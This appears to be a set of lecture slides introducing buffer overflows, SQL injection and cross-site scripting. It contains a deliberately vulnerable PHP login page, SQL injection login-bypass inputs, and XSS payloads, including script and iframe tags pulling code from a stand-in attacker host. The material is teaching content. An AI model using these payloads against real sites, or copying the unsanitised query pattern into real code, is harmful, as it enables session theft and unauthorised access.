Overview

- Introduction
- Buffer Overflow
- SQL Injection
- Cross-Site Scripting
Introduction

- Some of the most common and widely exploited software vulnerabilities are variants of:
  - Buffer Overflow
  - SQL Injection
  - Cross-Site Scripting

- Best countermeasure (amongst others)
  - Awareness, smart programming – not allowing them to occur at all

- These flaws typically occur as a consequence of insufficient checking and validation of data and error codes in programs
Introduction

Abstract View of a Program
Buffer Overflow/ Buffer Overrun

- Buffer: contiguous segment of memory that holds several instances of data

- Buffer overflow: common and widely-spread software vulnerability caused by not properly validating user input

  - allows more data to be stored than capacity available in a fixed sized buffer

  - examples of consequences of overwriting adjacent memory locations:
    • corruption of program data
    • unexpected transfer of control
    • memory access violation
    • execution of code chosen by attacker
Program Functioning Correctly
Buffer Overflow Basics

- Impact of buffer overflow problem has been felt since 1988 when the Morris worm attack was carried out.

- Still a problem due to both a legacy of buggy code in widely deployed operating systems and applications (C) – and programs that do not anticipate a certain type of faulty/malicious input.

<table>
<thead>
<tr>
<th>Year</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>1988</td>
<td>the Morris worm</td>
</tr>
<tr>
<td>2001</td>
<td>the Code Red worm exploits a buffer overflow in MS IIS 5.0</td>
</tr>
<tr>
<td>2003</td>
<td>the Slammer worm exploits a buffer overflow in MS SQL Server 2000</td>
</tr>
<tr>
<td>2004</td>
<td>the Sasser worm exploits a buffer overflow in MS Windows</td>
</tr>
<tr>
<td>2007</td>
<td></td>
</tr>
<tr>
<td>2009</td>
<td></td>
</tr>
</tbody>
</table>
Injection Attacks

- Injection attacks
  - invalid input handling

  - most often occurs in scripting languages (perl, PHP, python etc.)

- SQL Injection: most widely web-based exploited injection attack
  (application layer attack)

  - How do you think a SQL attack would be carried out?
  - What vulnerability can be exploited?
SQL Injection Attacks

Legit query

```
SELECT * from users
WHERE username = 'admin' and password = '123'
```

Injected SQL code

```
SELECT * from users where username = 'admin' and password = 'XXX' or '1'=1'
```
SQL Injection Attacks

DB of secret 415 agents

SQL
SELECT id FROM users
WHERE username = 'nazli' and password = 'xxxx'

SELECT id FROM users
WHERE username = 'nazli' or 1=1 and password = 'xxxx'

What do you think would happen here?
SQL Injection Attacks (index.html)

```html
<html>
<head><title>SQL Injection Demo</title></head>
<body onload="document.getElementById('user_name').focus();">
<form name="login_form" id="login_form" method="post" action="login.php">
<table border=0 align="center">
<tr colspan=5 align="center">Login Page</tr>
<tr>
<td>User Name: </td><td><input type="text" size="13" id="user_name" name="user_name" value=""></td>
</tr>
<tr>
<td>Password: </td><td><input type="password" size="13" id="pass_word" name="pass_word" value=""></td>
</tr>
<tr colspan=2 align="center"><input type="submit" value="Login"></tr>
</table>
</form>
</body>
</html>

SL cheat sheet: http://ha.ckers.org/sqlinjection/
```
SQL Injection Attacks (login.php)

```php
<?php
$Host = '192.168.1.8';
$Dbname = 'john';
$User = 'john';
$Password = 'xxx';
$Schema = 'test';
$Connection_string = "host=$Host
dbname=$Dbname
user=$User
password=$Password";
/* Connect with database asking for a new connection*/
$Connect = pg_connect($Connection_string, $PGSQL_CONNECT_FORCE_NEW);
/* Error checking the connection string */
if (!$Connect) {
    echo "Database Connection Failure";
    exit;
}
$query = "SELECT * from $Schema.users
    where user_name=''.$_POST['user_name']."' and
    password=''.$_POST['pass_word']."';";
$result = pg_query($Connect, $query);
$rows = pg_num_rows($result);
if ($rows) {
    echo "Login Success";
} else {
    echo "Login Failed";
}
?>
```

Username field:  or 1=1;--
Password field:  empty

In login.php the query will be framed as follows:

```sql
SELECT * from list WHERE user_name='' or 1=1;--' and password='''
```
Effects of SQL Injection Attacks

- bypass of login page/ backdoor
- DOS
- iframe injection
- access to system files
- stealing of sensitive information (personnel and credit)
- vulnerability of other computers on LAN
SQL Injection Attacks

- Defenses?
Cross-Site Scripting (XSS)

- Common application layer hacking technique
- Exploit vulnerabilities in the code of Web applications
- Dynamically generated website do not have complete control over how their outputs are interpreted by browser/ client

- Especially relevant in the age of widespread use of “guestbook” programs:
  - wikis, and blogs, social networking
    - which all allow users accessing the site to leave comments
    - which are subsequently viewed by other users.

- Unless the contents of these comments are checked, and any dangerous code removed, an attack is inevitable

- How do you think a XSS attack would be carried out?
### Cross-Site Scripting (XSS)

<table>
<thead>
<tr>
<th>Hacker</th>
<th>Victim</th>
<th>Your Page</th>
<th>The Web</th>
</tr>
</thead>
</table>
Cross-Site Scripting (XSS)

- Some ways in which your webpage could be infected?

```html
<script src=http://hacker-site.com/xss.js></script>
<body onload=alert("XSS")>
<body background="javascript:alert('XSS')">
<img src="javascript:alert('XSS');">
<iframe src="http://hacker-site.com/xss.html">
<link rel="stylesheet" href="javascript:alert('XSS');">
```
If this text were saved by a guestbook application, then when viewed by others, it will display a little text and also then execute the Javascript code.

Many sites require users to register before using features like a guestbook application. With this attack, a user’s (anyone who views the comment) cookie is supplied to the attacker, who could then use it to impersonate the user on the original site.
**Common XSS Example**

1. John often visits an informative website hosted by Kevin

2. Kevin’s website enables John to log in (username/password) and store sensitive information, such as credit card, bank accounts etc.

3. Badam devises a plan to exploit any possible vulnerability – he creates a URL and sends John a friendly “post”, in which he embeds the URL

4. The malicious script embedded in the post executes in John’s (or ________________) browser, as if it came directly from Kevin’s server – what’s bad about this?

5. Badam can then use the session cookie to possibly steal sensitive information available to John (authentication credentials, cc and banking info, etc) without John’s knowledge
Defenses Against XSS?

Cross-Scripting Cheat Sheet
http://ha.ckers.org/xss.html